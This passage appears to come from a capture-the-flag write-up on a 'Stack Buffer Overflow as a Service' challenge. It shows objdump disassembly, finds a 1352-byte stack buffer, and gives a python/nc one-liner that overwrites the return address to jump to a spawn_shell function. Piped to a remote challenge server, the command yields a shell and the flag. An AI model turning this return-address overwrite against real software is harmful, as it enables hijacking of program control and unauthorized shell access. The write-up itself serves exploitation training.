48 | 400683: 48 81 c4 48 05 00 00 add $0x548,%rsp 49 | 40068a: c3 retq 50 | 51 | 000000000040068b : 52 | 40068b: 48 83 ec 18 sub $0x18,%rsp 53 | 40068f: 48 8d 3d 0a 03 00 00 lea 0x30a(%rip),%rdi # 4009a0 <_IO_stdin_used+0x220> 54 | 400696: 48 89 3c 24 mov %rdi,(%rsp) 55 | 40069a: 48 c7 44 24 08 00 00 movq $0x0,0x8(%rsp) 56 | 4006a1: 00 00 57 | 4006a3: 48 89 e6 mov %rsp,%rsi 58 | 4006a6: ba 00 00 00 00 mov $0x0,%edx 59 | 4006ab: e8 90 fe ff ff callq 400540 60 | 4006b0: 48 83 c4 18 add $0x18,%rsp 61 | 4006b4: c3 retq 62 | 63 | 00000000004006b5
: 64 | 4006b5: 48 83 ec 08 sub $0x8,%rsp 65 | 4006b9: b9 00 00 00 00 mov $0x0,%ecx 66 | 4006be: ba 02 00 00 00 mov $0x2,%edx 67 | 4006c3: be 00 00 00 00 mov $0x0,%esi 68 | 4006c8: 48 8b 3d 81 09 20 00 mov 0x200981(%rip),%rdi # 601050 69 | 4006cf: e8 8c fe ff ff callq 400560 70 | 4006d4: b8 00 00 00 00 mov $0x0,%eax 71 | 4006d9: e8 79 ff ff ff callq 400657 72 | 4006de: 48 8d 3d c5 02 00 00 lea 0x2c5(%rip),%rdi # 4009aa <_IO_stdin_used+0x22a> 73 | 4006e5: e8 36 fe ff ff callq 400520 74 | 4006ea: b8 00 00 00 00 mov $0x0,%eax 75 | 4006ef: 48 83 c4 08 add $0x8,%rsp 76 | 4006f3: c3 retq 77 | 4006f4: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 78 | 4006fb: 00 00 00 79 | 4006fe: 66 90 xchg %ax,%ax 80 | 81 | ... 82 | ``` 83 | 84 | We can see a few things here, mainly we have three functions of interest the `main`, `stack` and the `spawn_shell`. 85 | as we can see, the function `stack` gets called from main `callq 400657 `. 86 | Here comes the interesting part, in `stack` we allocate a buffer of size [1352] `sub $0x548,%rsp`. 87 | 88 | This is actualy something you can find when decompiling using [cutter](https://github.com/radareorg/cutter). 89 | 90 | So what we want to do is pollute the stack and instead of returning to the `main` function from `stack` to jump 91 | to `spawn_shell`. We can see that `spawn_shell` is at the address: 0x40068b. 92 | 93 | We can generate our exploit using python (note that our system is litle endian): 94 | 95 | ```sh 96 | # test it locally 97 | $ (python -c "print '\x00' * 1352 + '\x8b\x06\x40\x00'"; cat -) | ./stack 98 | 99 | # get the flag 100 | $ (python -c "print '\x00' * 1352 + '\x8b\x06\x40\x00'"; cat -) | nc 209.250.235.77 22222 101 | 102 | ------------------------------------------------------------------ 103 | SBOaaS 104 | ------------------------------------------------------------------ 105 | 106 | Welcome to Stack Buffer Overflow as a Service 107 | 108 | Since modern mitigations made it more difficult to exploit vulnerabilities, 109 | we decided to offer an easy and convenient service for everyone 110 | to experience the joy of exploiting a stack-based buffer overflow. 111 | Simply enter your data and win! 112 | 113 | Please enter your data. Good luck! 114 | > cat flag.txt 115 | junior-20165bcdbfebe4710bd0a1c168a5e752d999676e 116 | ``` 117 | --------------------------------------------------------------------------------